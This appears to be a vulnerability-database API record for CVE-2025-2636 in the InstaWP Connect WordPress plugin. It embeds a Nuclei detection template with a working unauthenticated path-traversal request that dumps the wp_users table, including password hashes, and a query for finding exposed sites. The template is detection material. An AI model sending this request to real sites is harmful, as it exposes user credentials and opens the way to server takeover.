{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-2636/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-2636/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-2636/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-2636/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-2636/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-2636/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-2636"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-2636"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-2636.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-2636\n\ninfo:\n  name: InstaWP Connect < 0.1.0.86 - Local PHP File Inclusion\n  author: iamnoooob,pdresearch\n  severity: high\n  description: |\n    The InstaWP Connect - 1-click WP Staging & Migration plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.1.0.85 via the 'instawp-database-manager' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files.\n  impact: |\n    Unauthenticated attackers can include and execute arbitrary PHP files through the instawp-database-manager parameter, allowing arbitrary code execution and potential complete server compromise.\n  remediation: |\n    Update InstaWP Connect plugin to version 0.1.0.86 or later.\n  reference:\n    - https://wpscan.com/vulnerability/d1b64725-d4ae-4d73-950a-b772a877022b/\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/4c8f2c6f-c231-477c-895b-df892569ef95\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-2636\n  classification:\n    epss-score: 0.10597\n    epss-percentile: 0.95804\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-2636\n    cwe-id: CWE-22\n  metadata:\n    max-request: 1\n    verified: true\n    fofa-query: body=\"/wp-content/plugins/instawp-connect\"\n  tags: cve,cve2025,wp,wordpress,wp-plugin,instawp-connect,lfi,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        GET /?instawp-database-manager=/../../../%2e%2fmigrate%2ftemplates%2fdebug%2fdb-table&table_name=wp_users--%20- HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'instawp-wrap'\n          - 'user_pass</th>'\n          - 'user_email</th>'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220748c2e66f388a16127fadc8459abf0cba6e097f41f1748490f028bc8b9f8e1b002206dd345964dc032365a571f6e678ba3e020dcab9900707e15d198d22162a0b8f9:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-2636"}